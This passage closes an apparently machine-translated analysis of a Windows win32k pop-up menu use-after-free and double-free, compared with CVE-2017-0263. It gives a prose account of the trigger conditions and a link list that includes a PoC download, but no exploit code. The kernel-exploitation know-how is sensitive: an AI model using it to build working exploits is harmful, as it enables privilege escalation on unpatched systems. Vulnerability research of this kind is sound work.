0e 0088fbf8 75acc4e7 TempDemo!xxMainWindowProc+0x8f
Repeatedly releasing the memory of the target pop-up menu object causes BSOD to occur.
0x4 exploit
Compared with the CVE-2017-0263 vulnerability, although the conditions for triggering the vulnerability are not in the same function and the principles are different, they are both the same. The reuse after release MNFreePopup
vulnerability is ultimately triggered in the function during the destruction of the pop-up menu object. Therefore, both The utilization method is exactly the same and will not be described in detail here. Interested readers can read the previous article: " From CVE-2017-0263 Vulnerability Analysis to Menu Management Component ".
postscript
The exploit process of this vulnerability uses specific asynchronous and synchronous message requests to cooperate with each other, so that a special fDelayedFree
pop-up menu object with the member flag bit not set is generated in the kernel to meet the vulnerability triggering conditions; by using the menu window object associated with the target pop-up menu object Trigger the destruction operation, causing the execution flow in the kernel to enter the function where the vulnerability is located, and re-enter the function where the vulnerability is located. By exploiting the details of the vulnerability, both calls to the function where the vulnerability is located enter the destruction process of the target pop-up menu, triggering the reuse after release and repeated release vulnerabilities.
So far in this article, we have continuously analyzed tagPOPUPMENU
the use-after-free (UAF) vulnerabilities of multiple pop-up menu objects. Therefore, some of the content in the article is duplicated in the previous articles. However, the vulnerability triggering principle and details, vulnerability triggering conditions are not the same. In future analyses, we will try to select new types of vulnerabilities for analysis.
0x5 link
[0] Download the POC of this analysis
[1] Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks
[2] From CVE-2017-0263 vulnerability analysis to menu management component
[3] Analysis and utilization of UAF vulnerability CVE-2015-2546
[4] Kernel Attacks through User-Mode Callbacks
media.blackhat.com/bh-us-11/Ma…
< img src=“https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747” />